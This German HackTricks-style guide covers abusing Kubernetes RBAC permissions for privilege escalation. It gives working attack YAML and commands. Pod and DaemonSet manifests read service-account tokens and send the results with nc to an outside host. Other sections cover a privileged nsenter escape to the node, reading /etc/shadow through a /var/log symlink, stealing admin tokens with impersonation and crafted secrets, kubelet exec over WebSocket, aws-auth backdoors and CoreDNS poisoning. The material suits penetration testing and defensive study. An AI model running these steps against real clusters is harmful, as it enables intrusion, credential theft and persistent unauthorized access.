Missbrauch von Roles/ClusterRoles in Kubernetes

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks

Hier finden Sie einige potenziell gefährliche Roles- und ClusterRoles-Konfigurationen.
Denken Sie daran, dass Sie alle unterstützten Ressourcen mit kubectl api-resources abrufen können

Privilege Escalation

Als die Kunst, Zugriff auf einen anderen Principal innerhalb des Clusters mit anderen Privilegien (innerhalb des kubernetes clusters oder in externe clouds) als die, die Sie bereits haben, zu erhalten: In Kubernetes gibt es im Wesentlichen 4 Haupttechniken, um Privilegien zu eskalieren:

  • Fähigkeit, andere user/groups/SAs zu impersonate, die bessere Privilegien innerhalb des kubernetes clusters oder in externe Clouds besitzen
  • Fähigkeit, create/patch/exec pods zu können, in denen Sie find or attach SAs finden/anhängen können, die bessere Privilegien innerhalb des kubernetes clusters oder in externe Clouds haben
  • Möglichkeit, read secrets — da die SAs-Tokens als secrets gespeichert sind
  • Fähigkeit, von einem Container escape to the node zu können, woraufhin Sie alle secrets der auf dem Node laufenden Container, die Credentials des Node und die Berechtigungen des Node in der Cloud (falls vorhanden) stehlen können
  • Eine fünfte Technik, die erwähnenswert ist, ist die Möglichkeit, in einem Pod run port-forward auszuführen, da Sie so möglicherweise auf interessante Ressourcen innerhalb dieses Pods zugreifen können.

Zugriff auf jede Ressource oder jedes Verb (Wildcard)

Der wildcard (*) gewährt Berechtigungen für jede Ressource und jedes Verb. Er wird von Admins verwendet. Innerhalb einer ClusterRole bedeutet das, dass ein Angreifer jeden Namespace im Cluster missbrauchen könnte

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Auf beliebige Ressourcen mit einem bestimmten Verb zugreifen

In RBAC stellen bestimmte Berechtigungen erhebliche Risiken dar:

  1. create: Gewährt die Möglichkeit, beliebige Cluster-Ressourcen zu erstellen, was zu privilege escalation führen kann.
  2. list: Ermöglicht das Auflisten aller Ressourcen und kann potenziell sensible Daten leak.
  3. get: Erlaubt den Zugriff auf secrets von service accounts und stellt eine Sicherheitsbedrohung dar.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod erstellen - Token stehlen

Ein Angreifer mit der Berechtigung, einen Pod zu erstellen, kann ein privilegiertes Service Account in den Pod einbinden und dessen Token stehlen, um sich als das Service Account auszugeben. Dadurch werden effektiv die Berechtigungen dieses Accounts eskaliert.

Beispiel für einen Pod, der das Token des bootstrap-signer Service Accounts stiehlt und an den Angreifer sendet:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod Create & Escape

Das Folgende zeigt alle Privilegien, die ein Container haben kann:

  • Privileged access (Deaktivieren von Schutzmaßnahmen und Setzen von Capabilities)
  • Disable namespaces hostIPC and hostPid die dabei helfen können, Privilegien zu eskalieren
  • Disable hostNetwork namespace, was Zugriff ermöglicht, um Cloud-Privilegien von nodes zu stehlen und besseren Zugang zu Netzwerken zu erhalten
  • Mount hosts / inside the container
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Erstelle den Pod mit:

kubectl --token $token create -f mount_root.yaml

Einzeiler aus this tweet und mit einigen Ergänzungen:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Jetzt, da du zum node entkommen kannst, siehe post-exploitation Techniken in:

Stealth

Wahrscheinlich möchtest du diskreter sein. In den folgenden Seiten siehst du, worauf du zugreifen könntest, wenn du einen pod erstellst und dabei nur einige der im vorherigen Template erwähnten Privilegien aktivierst:

  • Privileged + hostPID
  • Privileged only
  • hostPath
  • hostPID
  • hostNetwork
  • hostIPC

Du findest Beispiele, wie man die vorherigen privilegierten Pod-Konfigurationen erstellt/missbraucht in https://github.com/BishopFox/badPods

Pod erstellen - In die Cloud

Wenn du einen pod erstellen kannst (und optional ein service account), könntest du möglicherweise Privilegien in der Cloud-Umgebung erlangen, indem du cloud roles einem pod oder einem service account zuweist und dann darauf zugreifst.
Außerdem, wenn du einen pod mit dem host network namespace erstellen kannst, kannst du die IAM-Rolle der node-Instanz steal.

Für weitere Informationen siehe:

Pod Escape Privileges

Erstellen/Patchen von Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs und Cronjobs

Es ist möglich, diese Berechtigungen zu missbrauchen, um einen neuen pod zu erstellen und Privilegien wie im vorherigen Beispiel zu eskalieren.

Das folgende yaml erstellt ein daemonset und exfiltrates das Token des SA innerhalb des pod:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec ist eine Ressource in kubernetes, die verwendet wird, um Befehle in einer Shell innerhalb eines Pods auszuführen. Das ermöglicht, Befehle innerhalb der Container auszuführen oder eine Shell zu bekommen.

Deshalb ist es möglich, in einen Pod zu gelangen und das Token des SA zu stehlen, oder einen privilegierten Pod zu betreten, auf den node zu entkommen und alle Tokens der Pods auf dem node zu stehlen und den node zu (ab)nutzen:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

Note

Standardmäßig wird der Befehl im ersten container des pod ausgeführt. Hole mit kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}' alle pods in einem container und gib dann den container an, in dem du ihn mit kubectl exec -it <pod_name> -c <container_name> -- sh ausführen möchtest.

Wenn es sich um einen distroless container handelt, kannst du versuchen, shell builtins zu verwenden, um Informationen über die container zu erhalten, oder deine eigenen Tools wie eine busybox hochzuladen mit: kubectl cp </path/local/file> <podname>:</path/in/container>.

port-forward

Diese Berechtigung erlaubt es, einen lokalen Port auf einen Port im angegebenen pod weiterzuleiten. Das dient dazu, Anwendungen, die innerhalb eines pod laufen, einfach zu debuggen, aber ein Angreifer könnte dies missbrauchen, um Zugriff auf interessante (wie DBs) oder verwundbare Anwendungen (Webs?) innerhalb eines pod zu erhalten:

kubectl port-forward pod/mypod 5000:5000

Hosts schreibbar /var/log/ Escape

Wie in dieser research angegeben, wenn du auf ein pod zugreifen oder ein pod erstellen kannst, bei dem das hosts /var/log/ Verzeichnis gemountet ist, kannst du aus dem Container entkommen.
Das liegt im Wesentlichen daran, dass, wenn die Kube-API versucht, die logs eines Containers abzurufen (mittels kubectl logs <pod>), sie die Datei 0.log des Pods über den /logs/-Endpoint des Kubelet-Dienstes anfordert.
Der Kubelet-Dienst exponiert den /logs/-Endpoint, der im Grunde das /var/log-Dateisystem des Containers freigibt.

Daher kann ein Angreifer mit Schreibzugriff auf den /var/log/-Ordner des Containers dieses Verhalten auf 2 Arten ausnutzen:

  • Modifying the 0.log file of its container (usually located in /var/logs/pods/namespace_pod_uid/container/0.log) to be a symlink pointing to /etc/shadow for example. Then, you will be able to exfiltrate hosts shadow file doing:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Wenn ein Angreifer einen beliebigen principal kontrolliert, der die permissions to read nodes/log hat, kann er einfach einen symlink in /host-mounted/var/log/sym auf / erstellen und beim Zugriff auf https://<gateway>:10250/logs/sym/ das Root-Dateisystem des Hosts auflisten (Das Ändern des Symlinks kann Zugriff auf Dateien ermöglichen).
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Ein Labor und ein automatisierter Exploit sind zu finden unter https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Umgehung des readOnly-Schutzes

Wenn Sie Glück haben und die hoch privilegierte capability CAP_SYS_ADMIN verfügbar ist, können Sie den Ordner einfach als rw remounten:

mount -o rw,remount /hostlogs/

Umgehung des hostPath readOnly-Schutzes

Wie in this research beschrieben, ist es möglich, den Schutz zu umgehen:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Das sollte Escapes wie die vorherigen verhindern, indem statt eines hostPath mount ein PersistentVolume und ein PersistentVolumeClaim verwendet werden, um einen hosts-Ordner im container mit schreibbarem Zugriff zu mounten:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Vortäuschen privilegierter Konten

Mit dem user impersonation Privileg könnte ein Angreifer sich als privilegiertes Konto ausgeben.

Einfach den Parameter --as=<username> im kubectl-Befehl verwenden, um sich als Benutzer auszugeben, oder --as-group=<group>, um sich als Gruppe auszugeben:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Oder verwende die REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Auflisten von Secrets

Die Berechtigung, Secrets aufzulisten, könnte einem Angreifer tatsächlich erlauben, die Secrets zu lesen, indem er den REST API endpoint abfragt:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Erstellen und Auslesen von Secrets

Es gibt eine spezielle Art von Kubernetes Secret vom Typ kubernetes.io/service-account-token, die serviceaccount tokens speichert. Wenn Sie Berechtigungen haben, Secrets zu erstellen und zu lesen, und außerdem den Namen des serviceaccounts kennen, können Sie ein Secret wie folgt erstellen und anschließend das Token des betroffenen serviceaccounts daraus stehlen:

apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token

Beispiel exploitation:

$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)

$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
secrets                                         []                                     []               [get create]
[/.well-known/openid-configuration/]   []               [get]
<SNIP>
[/version]                             []               [get]

$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"

$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"

$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created

$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}

Beachte, dass wenn du berechtigt bist, secrets in einem bestimmten namespace zu erstellen und zu lesen, der betroffene serviceaccount sich ebenfalls in demselben namespace befinden muss.

Lesen eines secret – brute-forcing token IDs

Während ein Angreifer im Besitz eines Tokens mit Lese-Berechtigungen den genauen Namen des secret benötigt, um ihn zu verwenden, gibt es im Gegensatz zum weiter gefassten listing secrets Privileg dennoch Schwachstellen. Default service accounts im System lassen sich auflisten, wobei jeder mit einem secret verknüpft ist. Diese secrets haben eine Namensstruktur: ein statischer Präfix gefolgt von einem zufälligen fünf Zeichen langen alphanumerischen Token (unter Ausschluss bestimmter Zeichen) gemäß dem source code.

Das Token wird aus einer eingeschränkten 27-Zeichen-Menge (bcdfghjklmnpqrstvwxz2456789) erzeugt, statt aus dem vollen alphanumerischen Bereich. Diese Einschränkung reduziert die Gesamtzahl möglicher Kombinationen auf 14,348,907 (27^5). Folglich könnte ein Angreifer in der Praxis innerhalb weniger Stunden einen brute-force attack durchführen, um das Token zu ermitteln, was möglicherweise zu privilege escalation führt, indem sensitive service accounts zugänglich werden.

EncrpytionConfiguration im Klartext

Es ist möglich, in diesem Objekttyp Klartextschlüssel zum Verschlüsseln ruhender Daten zu finden, wie zum Beispiel:

# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

#
# CAUTION: this is an example configuration.
#          Do not use this for your own cluster!
#

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==

Certificate Signing Requests

Wenn Sie die Berechtigung create für die Resource certificatesigningrequests (oder zumindest für certificatesigningrequests/nodeClient) haben, können Sie eine neue CeSR für einen neuen Node erstellen.

Laut der Dokumentation ist es möglich, diese Requests automatisch zu genehmigen, benötigen Sie in diesem Fall keine zusätzlichen Berechtigungen. Falls nicht, müssten Sie die Anfrage genehmigen können, was update in certificatesigningrequests/approval und approve in signers mit resourceName <signerNameDomain>/<signerNamePath> oder <signerNameDomain>/* bedeutet.

Ein Beispiel für eine Rolle mit allen erforderlichen Berechtigungen ist:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Also, mit der neu genehmigten node CSR kannst du die speziellen Berechtigungen von nodes missbrauchen, um secrets zu stehlen und Privilegien zu eskalieren.

In this post and this one ist die GKE K8s TLS Bootstrap configuration mit automatic signing konfiguriert und wird missbraucht, um credentials eines neuen K8s Node zu erzeugen und diese dann zu missbrauchen, um Privilegien durch das Stehlen von secrets zu eskalieren.
Wenn du die genannten Privilegien hast, könntest du dasselbe tun. Beachte, dass das erste Beispiel den Fehler umgeht, der einen neuen node daran hindert, auf secrets innerhalb von Containern zuzugreifen, weil ein node nur auf die secrets von Containern zugreifen kann, die auf ihm gemountet sind.

Der Weg, dies zu umgehen, besteht einfach darin, node credentials für den Node-Namen zu erstellen, auf dem der Container mit den interessanten secrets gemountet ist (siehe dazu das erste Posting, wie das zu machen ist):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Prinzipals, die configmaps im Namespace kube-system auf EKS (müssen in AWS) Clustern ändern können, können Cluster-Admin-Rechte erlangen, indem sie die aws-auth configmap überschreiben.
Die benötigten Verben sind update und patch, oder create, falls die configmap nicht erstellt wurde:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Warning

Du kannst aws-auth für persistence nutzen, um Benutzern aus anderen Accounts Zugriff zu geben.

Allerdings funktioniert aws --profile other_account eks update-kubeconfig --name <cluster-name> nicht von einem anderen Account. Tatsächlich funktioniert aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing, wenn du die ARN des Clusters statt nur des Namens verwendest.
Damit kubectl funktioniert, stelle sicher, dass du die victims kubeconfig konfigurierst und in den aws exec args --profile other_account_role hinzufügst, damit kubectl das Profil des anderen Accounts benutzt, um das Token zu bekommen und AWS anzusprechen.

CoreDNS ConfigMap

Wenn du die Berechtigungen hast, die coredns configmap im kube-system Namespace zu ändern, kannst du die Adressen ändern, auf die Domains aufgelöst werden, um MitM attacks durchzuführen und dadurch sensible Informationen zu stehlen oder bösartige Inhalte einzuschleusen.

Die benötigten Verbs sind update und patch für die coredns configmap (oder alle config maps).

Eine typische coredns file enthält etwa Folgendes:

data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}

Ein Angreifer könnte es herunterladen, indem er kubectl get configmap coredns -n kube-system -o yaml ausführt, es modifiziert (zum Beispiel rewrite name victim.com attacker.com hinzufügt), sodass bei Zugriff auf victim.com tatsächlich attacker.com angesprochen wird. Anschließend kann er es mit kubectl apply -f poison_dns.yaml anwenden.

Eine andere Möglichkeit ist, die Datei direkt zu bearbeiten mit kubectl edit configmap coredns -n kube-system und die Änderungen vorzunehmen.

Eskalation in GKE

Es gibt 2 Wege, K8s-Berechtigungen an GCP-Principals zu vergeben. In jedem Fall benötigt der Principal zusätzlich die Permission container.clusters.get, um Credentials zum Zugriff auf den Cluster zu sammeln, oder du musst deine eigene kubectl config-Datei erzeugen (folg dem nächsten Link).

Warning

Beim Sprechen mit dem K8s api endpoint wird das GCP auth token gesendet. GCP wird dann, über das K8s api endpoint, zuerst prüfen, ob der Principal (per Email) irgendwelchen Zugriff innerhalb des Clusters hat, und anschließend prüfen, ob er irgendwelchen Zugriff via GCP IAM hat.
Wenn eines davon wahr ist, wird geantwortet. Falls nicht, wird ein Error zurückgegeben, der vorschlägt, Berechtigungen via GCP IAM zu vergeben.

Die erste Methode nutzt GCP IAM: die K8s-Berechtigungen haben ihre entsprechenden GCP IAM-Permissions, und wenn der Principal diese hat, kann er sie verwenden.

GCP - Container Privesc

Die zweite Methode ist, K8s-Berechtigungen innerhalb des Clusters zuzuweisen, wobei der User durch seine Email identifiziert wird (inkl. GCP service accounts).

Serviceaccount-Token erstellen

Principals, die TokenRequests erstellen können (serviceaccounts/token) wenn sie mit dem K8s api endpoint sprechen — SAs (Info von hier).

ephemeralcontainers

Principals, die update oder patch auf pods/ephemeralcontainers ausführen können, können Code-Ausführung auf anderen Pods erreichen und potenziell durch Hinzufügen eines ephemeral containers mit einem privilegierten securityContext auf den Node ausbrechen.

ValidatingWebhookConfigurations oder MutatingWebhookConfigurations

Principals mit einem der Verben create, update oder patch auf validatingwebhookconfigurations oder mutatingwebhookconfigurations können möglicherweise eine solche webhookconfiguration erstellen, um Privilegien zu eskalieren.

Für ein mutatingwebhookconfigurations Beispiel siehe diesen Abschnitt dieses Posts.

Eskalieren

Wie du im nächsten Abschnitt lesen kannst: Built-in Privileged Escalation Prevention, kann ein Principal weder roles noch clusterroles updaten oder erstellen, ohne selbst bereits diese neuen Permissions zu besitzen. Ausgenommen, er hat das Verb escalate oder * auf roles oder clusterroles und die jeweiligen Binding-Optionen.
Dann kann er neue roles/clusterroles mit umfangreicheren Rechten erstellen/aktualisieren als diejenigen, die er selbst hat.

Nodes proxy

Principals mit Zugriff auf die nodes/proxy Subresource können über die Kubelet API Code auf Pods ausführen (laut diesem). Mehr Informationen zur Kubelet-Authentifizierung auf dieser Seite:

Kubelet Authentication & Authorization

nodes/proxy GET -> Kubelet /exec via WebSocket: Verb-Verwirrung

  • Kubelet mappt HTTP-Methoden auf RBAC-Verben vor dem Protocol Upgrade. WebSocket-Handshakes müssen mit HTTP GET (Connection: Upgrade) beginnen, daher wird /exec über WebSocket als Verb get geprüft statt als erwartetes create.
  • /exec, /run, /attach und /portforward sind nicht explizit gemappt und fallen in die Default-proxy-Subresource, sodass die Autorisierungsfrage zu can <user> get nodes/proxy? wird.
  • Wenn ein Token nur nodes/proxy + get hat, erlaubt der direkte WebSocket-Zugriff auf den kubelet unter https://<node_ip>:10250 beliebige Befehlsausführung in jedem Pod auf diesem Node. Dieselbe Anfrage über den API-Server-Proxy-Pfad (/api/v1/nodes/<node>/proxy/exec/...) wird abgelehnt, weil es ein normaler HTTP POST ist und zu create mapped.
  • Der kubelet führt nach dem WebSocket-Upgrade keine zweite Autorisierung durch; nur das initiale GET wird bewertet.

Direkter Exploit (erfordert Netzwerkzugriff auf den kubelet und ein Token mit nodes/proxy GET):

kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
  • Verwende die Node IP, nicht den node name. Die gleiche Anfrage mit curl -X POST wird Forbidden sein, weil sie auf create abgebildet wird.
  • Direkter kubelet-Zugriff umgeht den API-Server, daher zeigt AuditPolicy nur subjectaccessreviews vom kubelet user agent und loggt pods/exec-Befehle nicht.
  • Liste betroffene service accounts mit dem detection script auf, um tokens zu finden, die auf nodes/proxy GET beschränkt sind.

Pods löschen + unschedulable Nodes

Prinzipale, die Berechtigungen wie delete pods (delete verb over pods resource), evict pods (create verb over pods/eviction resource) oder change pod status (access to pods/status) besitzen, und die außerdem make other nodes unschedulable (access to nodes/status) können oder delete nodes (delete verb over nodes resource`) sowie Kontrolle über einen Pod haben, könnten steal pods from other nodes, sodass diese im compromised node executed werden und der Angreifer die steal the tokens aus diesen Pods erlangen kann.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Services status (CVE-2020-8554)

Prinzipale, die services/status ändern können, können das Feld status.loadBalancer.ingress.ip setzen, um die unbehebbare CVE-2020-8554 auszunutzen und MiTM-Angriffe gegen den Cluster zu starten. Die meisten Gegenmaßnahmen für CVE-2020-8554 verhindern laut this nur ExternalIP services.

Nodes and Pods status

Prinzipale mit update- oder patch-Berechtigungen für nodes/status oder pods/status könnten Labels ändern, um die durchgesetzten Scheduling-Einschränkungen zu beeinflussen.

Built-in Privileged Escalation Prevention

Kubernetes verfügt über einen eingebauten Mechanismus, um Privilegieneskalation zu verhindern.

Dieses System stellt sicher, dass Benutzer ihre Privilegien nicht durch das Ändern von roles oder role bindings erhöhen können. Die Durchsetzung dieser Regel erfolgt auf API-Ebene und bietet damit Schutz, selbst wenn der RBAC-Authorizer deaktiviert ist.

Die Regel besagt, dass ein Benutzer nur dann eine Role erstellen oder aktualisieren darf, wenn er alle Berechtigungen besitzt, die die Role umfasst. Außerdem muss der Umfang der bestehenden Berechtigungen des Benutzers mit dem der Role übereinstimmen, die er erstellen oder ändern möchte: entweder clusterweit für ClusterRoles oder auf denselben Namespace beschränkt (oder clusterweit) für Roles.

Warning

Es gibt eine Ausnahme zu der vorherigen Regel. Wenn ein Prinzipal das Verb escalate über roles oder clusterroles hat, kann er die Privilegien von roles und clusterroles erhöhen, auch ohne die entsprechenden Berechtigungen selbst zu besitzen.

Get & Patch RoleBindings/ClusterRoleBindings

Caution

Anscheinend funktionierte diese Technik früher, aber laut meinen Tests funktioniert sie nicht mehr aus dem im vorherigen Abschnitt erklärten Grund. Du kannst kein rolebinding erstellen/ändern, um dir selbst oder einem anderen SA Rechte zu geben, wenn du diese nicht bereits hast.

Das Recht, RoleBindings zu erstellen, erlaubt einem Benutzer, Rollen an ein Service-Account zu binden. Dieses Recht kann potenziell zu einer Privilegieneskalation führen, weil es dem Benutzer ermöglicht, einem kompromittierten Service-Account Admin-Rechte zuzuweisen.

Other Attacks

Sidecar proxy app

Standardmäßig ist die Kommunikation zwischen Pods nicht verschlüsselt — keine gegenseitige Authentifizierung (two-way, pod-to-pod).

Create a sidecar proxy app

Ein Sidecar-Container besteht einfach darin, einen zweiten (oder mehr) Container innerhalb eines Pods hinzuzufügen.

